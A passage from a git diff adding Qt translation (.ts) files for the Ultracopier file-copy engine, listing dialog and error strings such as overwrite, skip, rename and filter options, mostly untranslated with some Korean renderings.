+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/ko/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/ko/translation.ts
new file mode 100644
index 0000000..deeeead
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/ko/translation.ts
@@ -0,0 +1,1293 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="ko_KR">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>이 플랫폼에서 지원되지 않습니다</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>마지막 수정 날짜가 잘못되었습니다</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation>마지막 엑세스 날짜가 잘못되었습니다</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation type="unfinished">대상</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation type="unfinished">확인</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation type="unfinished">건너뛰기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation type="unfinished">합치기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation type="unfinished">이름 바꾸기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished">더 최신이면 덮어씌우기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation type="unfinished">확인</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation type="unfinished">건너뛰기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation type="unfinished">합치기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation type="unfinished">이름 바꾸기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation type="unfinished">더 최신이면 덮어씌우기</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation type="unfinished">폴더 이름</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation type="unfinished">오류</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation type="unfinished">오류</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation type="unfinished">오류</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>폴더를 생성할 수 없습니다</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>원본 파일 읽기 불가:</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>The folder not exists</source>
+ <translation type="obsolete">폴더가 존재하지 않습니다</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation type="unfinished">폴더를 읽을 수 없습니다</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation type="unfinished"></translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
